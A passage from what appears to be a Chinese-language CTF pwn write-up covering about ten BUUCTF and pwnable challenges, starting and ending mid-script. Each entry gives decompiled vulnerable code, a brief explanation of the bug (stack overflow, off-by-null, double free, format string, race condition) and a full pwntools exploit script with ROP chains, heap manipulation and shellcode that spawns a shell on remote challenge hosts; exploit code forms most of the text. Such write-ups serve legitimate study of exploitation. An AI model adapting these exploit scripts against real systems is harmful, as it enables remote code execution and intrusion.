p1 = p1.ljust(0x100, b'\x00') + shellcode

edit(0, p1)
delete(0)

r.interactive()

hxb_pwn300

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+18h] [ebp-38h] BYREF
int v5; // [esp+1Ch] [ebp-34h] BYREF
int times; // [esp+44h] [ebp-Ch] BYREF
int *ptr; // [esp+48h] [ebp-8h]
int index; // [esp+4Ch] [ebp-4h]

times = 0;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
Welcome();
printf("How many times do you want to calculate:");
_isoc99_scanf("%d", &times);
if ( times <= 3 || times > 255 )
{
puts("wrong input!");
exit(-1);
}
ptr = (int *)malloc(4 * times);
index = 0;
while ( index < times )
{
PrintMenu();
_isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
Add();
ptr[index] = ResultAdd;
goto LABEL_11;
case 2:
Sub();
ptr[index] = ResultSub;
goto LABEL_11;
case 3:
Mul();
ptr[index] = ResultMul;
goto LABEL_11;
case 4:
Div();
ptr[index] = ResultDiv;
goto LABEL_11;
case 5:
memcpy(&v5, ptr, 4 * times);
free(ptr);
return 0;
default:
puts("wrong input!");
LABEL_11:
++index;
break;
}
}
return 0;
}

第5个功能存在溢出,借助add这个函数可以控制返回地址,所以times改大,又因为这题是静态编译,所以直接–ropchain,然后修一下,修成直接发送地址的格式即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn300'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 26836)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

r.sendlineafter('How many times do you want to calculate:', '200')

def add(addr):
r.sendlineafter('5 Save the result\n', '1')
r.sendlineafter('input the integer x:', '0')
r.sendlineafter('input the integer y:', str(addr))

for i in range(16):
add(0)

from struct import pack

# Padding goes here
add(0x0806ed0a) # pop edx ; ret
add(0x080ea060) # @ .data
add(0x080bb406) # pop eax ; ret
add(0x6e69622f)
add(0x080a1dad) # mov dword ptr [edx], eax ; ret
add(0x0806ed0a) # pop edx ; ret
add(0x080ea064) # @ .data + 4
add(0x080bb406) # pop eax ; ret
add(0x68732f2f)
add(0x080a1dad) # mov dword ptr [edx], eax ; ret
add(0x0806ed0a) # pop edx ; ret
add(0x080ea068) # @ .data + 8
add(0x08054730) # xor eax, eax ; ret
add(0x080a1dad) # mov dword ptr [edx], eax ; ret
add(0x080481c9) # pop ebx ; ret
add(0x080ea060) # @ .data
add(0x0806ed31) # pop ecx ; pop ebx ; ret
add(0x080ea068) # @ .data + 8
add(0x080ea060) # padding without overwrite ebx
add(0x0806ed0a) # pop edx ; ret
add(0x080ea068) # @ .data + 8
add(0x08054730) # xor eax, eax ; ret
add(0x0807b75f) # inc eax ; ret
add(0x0807b75f) # inc eax ; ret
add(0x0807b75f) # inc eax ; ret
add(0x0807b75f) # inc eax ; ret
add(0x0807b75f) # inc eax ; ret
add(0x0807b75f) # inc eax ; ret
add(0x0807b75f) # inc eax ; ret
add(0x0807b75f) # inc eax ; ret
add(0x0807b75f) # inc eax ; ret
add(0x0807b75f) # inc eax ; ret
add(0x0807b75f) # inc eax ; ret
add(0x08049781) # int 0x80


r.sendlineafter('5 Save the result\n', '5')

r.interactive()

ciscn_2019_ne_6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 delete()
{
unsigned int index; // [rsp+Ch] [rbp-14h]
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("index:");
index = sub_D5D();
if ( index <= 9 )
{
ptr = (void *)heap_ptr[index].ptr;
heap_ptr[index].size = 0LL;
heap_ptr[index].ptr = 0LL;
}
if ( ptr )
free(ptr);
return __readfsqword(0x28u) ^ v3;
}

这里出现了一个ptr未初始化的漏洞,因为当index不在上面那个if范围的时候就会直接free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 sub_F0D()
{
char s[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
printf("passwd:");
sub_DEA(s, 0x28);
if ( !strncmp(s, password, 0x28uLL) )
printf("I will tell you magic's address: %p\n", password);
else
puts("No No No you are not root.");
return __readfsqword(0x28u) ^ v2;
}

最关键的是delete上面一个函数可以去改ptr这个指针,也就是利用F0D这个函数去写ptr指针,再利用delete函数去释放这个指针,这样就可以达到double free效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ciscn_2019_ne_6'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 25211)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = '>> '

def show():
r.sendlineafter(menu, '1')

def add(password, size, content):
r.sendlineafter(menu, '2')
r.sendlineafter('passwd:', password)
r.sendlineafter('size:', str(size))
r.sendlineafter('Content:', content)

def edit(password, index, content):
r.sendlineafter(menu, '3')
r.sendlineafter('passwd:', password)
r.sendlineafter('index:', str(index))
r.sendlineafter('Content:', content)

def delete(password, index):
r.sendlineafter(menu, '4')
r.sendlineafter('passwd:', password)
r.sendlineafter('index:', str(index))

add('a', 0x410, 'aaaaa')
add('a', 0x20, 'bbbbb')
add('a', 0x20, 'cccc')

delete('a', 0)
add('a', 0x410, 'a' * 8)
show()

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('./2.27/libc-2.27.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

#dbgg()

delete('a' * 0x27, 2)
delete('a' * 0x27, 1)

add('a', 0x20, '')

show()
r.recvuntil('1: ')
heap_ptr = u64(r.recv(6).ljust(8, b'\x00'))
li('heap_ptr = ' + hex(heap_ptr))

#dbgg()

r.sendlineafter(menu, '4')
r.sendafter('passwd:', b'a' * 0x20 + p64(heap_ptr))
r.sendlineafter('index:', '99')

add('a', 0x20, p64(free_hook))

one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

add('a', 0x20, 'aaaa')
add('a', 0x20, p64(one_gadget))

delete('a', 0)

r.interactive()

pwnable_secret_of_my_heart

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_BYTE *__fastcall sub_D27(Data *ptr, size_t size)
{
_BYTE *result; // rax

ptr->size = size;
printf("Name of heart :");
vuln_read(ptr->name, 0x20u);
ptr->content = (__int64)malloc(size);
if ( !ptr->content )
{
puts("Allocate Error !");
exit(0);
}
printf("secret of my heart :");
result = (_BYTE *)(ptr->content + (int)vuln_read((void *)ptr->content, size));// off-by-null
*result = 0;
return result;
}

在add里出现了off-by-null,2.23直接堆重叠,最后通过double free错误来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './secret_of_my_heart'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27358)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = 'Your choice :'

def add(size, name, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Size of heart : ', str(size))
r.sendafter('Name of heart :', name)
r.sendafter('secret of my heart :', content)

def show(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index :', str(index))

def delete(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index :', str(index))

add(0xf8, 'aaaaa', 'b')
add(0x68, 'aaaaa', 'c')
add(0xf8, 'aaaaa', 'd')
add(0x60, 'aaaaa', 'e')

delete(0)
delete(1)

add(0x68, 'aaaaa', b'c' * 0x60 + p64(0x100 + 0x70)) #0

delete(2)

add(0xf8, 'aaaaa', 'f') #1

show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

#libc = ELF('./2.23/libc-2.23.so')
libc = ELF('./libc-2.23.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))
#one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one[2] + libc_base
realloc_hook = libc_base + libc.sym['__realloc_hook']

add(0x68, 'aaaaa', b'g') #2
delete(2)
delete(3)
delete(0)

add(0x68, 'aaaaa', p64(malloc_hook - 0x23)) #0
add(0x68, 'aaaaa', 'bbbbb')
add(0x68, 'aaaaa', 'ccccc')
add(0x68, 'aaaaa', b'\x00' * 0x13 + p64(one_gadget))

delete(0)
delete(3)

r.interactive()

pwnable_otp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

int main(int argc, char* argv[]){
char fname[128];
unsigned long long otp[2];

if(argc!=2){
printf("usage : ./otp [passcode]\n");
return 0;
}

int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1) exit(-1);

if(read(fd, otp, 16)!=16) exit(-1);
close(fd);

sprintf(fname, "/tmp/%llu", otp[0]);
FILE* fp = fopen(fname, "w");
if(fp==NULL){ exit(-1); }
fwrite(&otp[1], 8, 1, fp);
fclose(fp);

printf("OTP generated.\n");

unsigned long long passcode=0;
FILE* fp2 = fopen(fname, "r");
if(fp2==NULL){ exit(-1); }
fread(&passcode, 8, 1, fp2);
fclose(fp2);

if(strtoul(argv[1], 0, 16) == passcode){
printf("Congratz!\n");
setuid(0);
setgid(0);
system("/bin/cat flag");
}
else{
printf("OTP mismatch\n");
}

unlink(fname);
return 0;
}

这里学到了ulimit -f 0来限制进程创建文件的大小为0,这个题目意思就是从/dev/urandow读16个字节,前8个字节做为文件名,后8个字节存在该文件内,最后读入比较

所以利用ulimit -f 0使得无法写入文件,之后读的时候就是0,所以passcode为0

1
2
3
4
5
6
7
8
9
10
11
otp@out:~$ python
Python 2.7.15+ (default, Nov 27 2018, 23:36:35)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system('./otp 0')
OTP generated.
Congratz!
flag{2949dd01-bb88-4738-b337-89e7468e3cf7}
0
>>>

ciscn_2019_final_9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall safe_read(char *ptr, int size)
{
unsigned int index; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
index = 0;
if ( size )
{
while ( 1 )
{
read(0, &ptr[index], 1uLL);
if ( size - 1 < index || !ptr[index] || ptr[index] == 10 )
break;
++index;
}
ptr[index] = 0;
ptr[size] = 0;
}
else
{
*ptr = 0;
}
return __readfsqword(0x28u) ^ v4;
}

一个off-by-null,但是\x00的话会被截断,所以控制不了prev_size,这个时候就需要用到unsortedbin的一个知识,释放两个unsortedbin使得合并,此时,第三个chunk的prev_size就等于1 + 2,所以prev_size就被控制了,此时构造重叠即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './ciscn_final_9'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 26862)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = '> '

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('size \n> ', str(size))
r.sendlineafter('content \n> ', content)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('index \n> ', str(index))

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('index \n> ', str(index))

add(0xf0, 'a')
add(0xf0, 'a')
add(0xf0, 'a')

for i in range(7):
add(0xf0, 'b')

for i in range(3, 10):
delete(i)

delete(0)
delete(1)
delete(2)

for i in range(7):
add(0xf0, 'b')

add(0xf0, 'b' * 8) #7
add(0xf0, 'b') #8
add(0xf0, 'b') #9

for i in range(7):
delete(i)

delete(7)

for i in range(7):
add(0xf0, 'c')

delete(8)
add(0xf8, 'a')

for i in range(7):
delete(i)

delete(9)

for i in range(7):
add(0xf0, 'b')

add(0xf0, 'c')

show(7)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./2.27/libc-2.27.so')

libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']

one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

#delete(7)
add(0xf0, 'd') #9

delete(0)
delete(1)

delete(7)
delete(9)

add(0xf0, p64(free_hook))
add(0xf0, 'aaaa')
add(0xf0, p64(one_gadget))

delete(3)

r.interactive()

hack_lu_2018_heap_heaven

1
2
3
4
5
__int64 __fastcall free_wrapper(__int64 offset)
{
free(&mmapped[offset]);
return 0LL;
}

这个题还是挺有意思的,任意地址free

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall leak_wrapper(__int64 offset)
{
const char **v2; // [rsp+18h] [rbp-8h]

v2 = (const char **)&mmapped[offset];
if ( &mmapped[offset] > &mmapped[MMAP_SIZE - 8] || v2 < (const char **)mmapped )
return 1LL;
puts(*v2);
return 0LL;
}

在mmap区域后可以任意写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
Data *v3; // rbx
Data *v4; // rbx
int v6; // [rsp+Ch] [rbp-44h]
unsigned __int64 buf; // [rsp+10h] [rbp-40h] BYREF
__int64 num; // [rsp+18h] [rbp-38h]
__int64 v9; // [rsp+20h] [rbp-30h]
__int64 v10; // [rsp+28h] [rbp-28h]
__int64 v11; // [rsp+30h] [rbp-20h]
unsigned __int64 v12; // [rsp+38h] [rbp-18h]

v12 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
buf = 0LL;
state = (Data *)malloc(0x10uLL);
v3 = state;
v3->func = malloc(0x10uLL);
*(_QWORD *)state->func = bye;
*((_QWORD *)state->func + 1) = menu;
v4 = state;

还有个关键的是state->func + 1 = menu;,漏洞利用思路看了ha1vk师傅的,因为可以任意地址free,所以先弄出unsortedbin,这样子就可以泄露出top_chunk,从而再利用leak功能leak出libc,elf_base,这些基址,最后可以得到state的地址,在mmap那里构造一个fake_chunk,使得释放后+state->func那里的state->func + 1落在ogg上即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './hack_lu_2018_heap_heaven'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 26473)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = '[5] : exit\n'

def write(size, offset, content):
r.sendlineafter(menu, '1')
r.sendlineafter('How much do you want to write?\n', str(size))
r.sendlineafter('At which offset?\n', str(offset))
r.send(content)

def delete(offset):
r.sendlineafter(menu, '3')
r.sendlineafter('At which offset do you want to free?\n', str(offset))

def show(offset):
r.sendlineafter(menu, '4')
r.sendlineafter('At which offset do you want to leak?\n', str(offset))
#dbgg()

p1 = p64(0) + p64(0x91)
p1 += b'a' * 0x80
p1 += p64(0) + p64(0x21)
p1 += b'a' * 0x10
p1 += p64(0) + p64(0x21)
p1 += b'a' * 0x10
p1 += p64(0) + p64(0x21)
p1 += b'a' * 0x10

write(len(p1), 0, p1)

delete(0x10)

show(0x10)

top_chunk_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('top_chunk_addr = ' + hex(top_chunk_addr))

p2 = p64(top_chunk_addr - 0x10)
write(len(p2), 0, p2)

show(0)
elf_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x1670
li('elf_base = ' + hex(elf_base))

state_addr = 0x4040 + elf_base
li('state_addr = ' + hex(state_addr))

puts_got = elf.got['puts'] + elf_base
li('puts_got = ' + hex(puts_got))

p3 = p64(puts_got)
write(len(p3), 0, p3)
show(0)

puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('puts_addr = ' + hex(puts_addr))

#libc = ELF('./2.23/libc-2.23.so')
libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
li('libc_base = ' + hex(libc_base))

#one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one[2] + libc_base

mmapd_addr = 0x4048 + elf_base + 1
p4 = p64(mmapd_addr)
write(len(p4), 0, p4)

show(0)
mmap_addr = u64(r.recv(4).ljust(8, b'\x00')) << 8
li('mmap_addr = ' + hex(mmap_addr))

p5 = p64(0) + p64(0x21)
p5 += b'a' * 0x10
p5 += p64(0) + p64(0x21)
p5 += b'a' * 0x10

write(len(p5), 0, p5)

delete(0x10)

p6 = p64(one_gadget)
write(len(p6), 8, p6)

#dbgg()
delete(top_chunk_addr - 0x30 - mmap_addr)

r.interactive()

suctf_2019_playfmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int do_fmt(void)
{
int result; // eax

while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}

非栈上的格式化漏洞,正常泄露,任意写的话要借助链子,直接套了一个板子,libc明明一样,结果ogg出来不一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './suctf_2019_playfmt'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 28361)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

p1 = '%6$p.%23$p'
r.sendline(p1)

r.recvuntil('0x')
stack_addr = int(r.recv(8), 16)
li('stack_addr = ' + hex(stack_addr))

r.recvuntil('0x')
__libc_start_main = int(r.recv(8), 16)
li('__libc_start_main = ' + hex(__libc_start_main))

#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('libc-2.27.so')
libc_base = __libc_start_main - libc.sym['__libc_start_main'] - 241
#one = [0xc9bbb, 0x14482b, 0x14482c]
one = [0x3cbea, 0x3cbec, 0x3cbf0, 0x3cbf7, 0x6729f, 0x672a0, 0x13573e, 0x13573f]
#one = [0x3d0d3, 0x3d0d5, 0x3d0d9, 0x3d0e0, 0x67a7f, 0x67a80, 0x137e5e, 0x137e5f]
one_gadget = one[3] + libc_base

def write_address(off0,off1,target_addr):
r.sendline("%{}$p".format(off1))
r.recvuntil("0x")
addr1 = int(r.recv(8),16)&0xff
r.recv()
for i in range(4):
r.sendline("%{}c%{}$hhn".format(addr1+i,off0))
r.recv()
r.sendline("%{}c%{}$hhn".format(target_addr&0xff,off1))
r.recv()
target_addr=target_addr>>8
r.sendline("%{}c%{}$hhn".format(addr1,off0))
r.recv()

write_address(6, 14, stack_addr - 0x1c)

write_address(14, 26, one_gadget)
r.sendline('quit')

r.interactive()

pwnable_dubblesort

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int *ptr; // edi
unsigned int i; // esi
unsigned int j; // esi
int result; // eax
unsigned int v8; // [esp+18h] [ebp-74h] BYREF
unsigned int v9[8]; // [esp+1Ch] [ebp-70h] BYREF
char buf[64]; // [esp+3Ch] [ebp-50h] BYREF
unsigned int v11; // [esp+7Ch] [ebp-10h]

v11 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, "What your name :");
read(0, buf, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &v8);
v3 = v8;
if ( v8 )
{
ptr = v9;
for ( i = 0; i < v8; ++i )
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", ptr);
v3 = v8;
++ptr;
}
}
sub_931(v9, v3);
puts("Result :");
if ( v8 )
{
for ( j = 0; j < v8; ++j )
__printf_chk(1, "%u ");
}
result = 0;
if ( __readgsdword(0x14u) != v11 )
sub_BA0();
return result;
}

read这里可以信息泄露,然后这里用了一个知识点,%u遇见+并不会写入东西,所以覆盖canary的时候直接利用+号来覆盖,这样的话就可以绕过canary了,v8并没有大小限制,所以可以不并的输入数据造成栈溢出,打ret为system即可,要算好次数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './dubblesort'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 25621)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

dbgg()
r.sendlineafter('What your name :', 'A' * 24)

leak_addr = u32(r.recvuntil('\xf7')[-4:])
libc = ELF('./libc-2.23.so')
li('leak_addr = ' + hex(leak_addr))
libc_base = leak_addr - 0x1b000a
li('libc_base = ' + hex(libc_base))

system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

r.sendlineafter('How many numbers do you what to sort :', '35')

for i in range(24):
r.sendlineafter('number : ', '1')

r.sendlineafter('number : ', '+')
for i in range(9):
r.sendlineafter('number : ', str(system_addr))

r.sendlineafter('number : ', str(bin_sh))

r.interactive()

whctf2017_note_sys

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void *__fastcall sub_B86(void *a1)
{
int v2; // [rsp+1Ch] [rbp-14h]
void **v3; // [rsp+20h] [rbp-10h]

v3 = (void **)ptr;
ptr = (char *)ptr - 8;
v2 = delete_flags - 1;
usleep(0x1E8480u);
if ( delete_flags <= 0 )
{
puts("too less notes!!");
ptr = (char *)ptr + 8;
}
else
{
free(*v3);
delete_flags = v2;
puts("delete successfully!");
}
return 0LL;
}

这是一个子线程,可以对ptr进行操作,然后睡2秒,但是就造成了一个条件竞争的问题,在睡的时候可以继续delete,ptr会一直-8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void *__fastcall start_routine(void *a1)
{
void **v2; // rbx

ptr = (char *)ptr + 8;
if ( ++delete_flags <= 34 )
{
puts("logged successfully!");
v2 = (void **)ptr;
*v2 = malloc(0x100uLL);
memset(*(void **)ptr, 0, 0x100uLL);
memcpy(*(void **)ptr, a1, 0xFAuLL);
}
else
{
puts("too many notes!!");
ptr = (char *)ptr - 8;
}
return 0LL;
}

在add里,ptr这里会+上8,然后把content给拷贝到堆里去,这个堆的地址会保存在ptr里的指针里的地方

经过调试ptr里的值是2020C0,一直delete的话可以到got表那里,接着再add的话ptr里面是got表的地址,会把堆地址写到got表里,只需要在堆里布置shellcode,调用那个got即可getshell,这里选择puts,0x2020c0 - 0x202028 = 0x98 0x98 / 8 = 19 19 + 1 = 20

delete 20次再add即可控制puts的got

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './note_sys'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27217)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

def delete():
r.sendlineafter('choice:', '2')

def add(content):
r.sendlineafter('choice:', '0')
r.sendlineafter('no more than 250 characters', content)

for i in range(20):
delete()

shellcode = asm(shellcraft.sh())
add(shellcode)

r.interactive()

roarctf_2019_easyrop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
char v5[1032]; // [rsp+10h] [rbp-420h] BYREF
__int64 v6; // [rsp+418h] [rbp-18h]
char v7; // [rsp+427h] [rbp-9h]
__int64 v8; // [rsp+428h] [rbp-8h]

dword_6030A0 = 0;
sub_400FC4(a1, a2, a3);
sub_401968();
fwrite(">> ", 1uLL, 3uLL, stdout);
fflush(stdout);
v8 = 0LL;
while ( !feof(stdin) )
{
v7 = fgetc(stdin);
if ( v7 == 10 )
break;
v3 = v8++;
v6 = v3;
v5[v3] = v7;
}
v5[v8] = 0;
if ( (unsigned int)sub_401678(v5) )
{
qsort(base, dword_6030AC, 0x200uLL, compar);
sub_401541();
}
else
{
fflush(stdout);
sub_400E87();
}
return 0LL;
}

存在溢出漏洞,但是需要注意会覆盖v8的值,想要正常溢出,需要把v8覆盖成0x428,v8距离v5是0x418,所以在覆盖的时候直接覆盖\x28这样子再继续写的话就直接控制ret了,一个orw即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './roarctf_2019_easyrop'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27437)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

dbgg()
pop_rdi_ret = 0x0000000000401b93
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

main_addr = 0x4019F3

p1 = b'a' * 0x418 + b'\x28'
p1 += p64(pop_rdi_ret) + p64(puts_got)
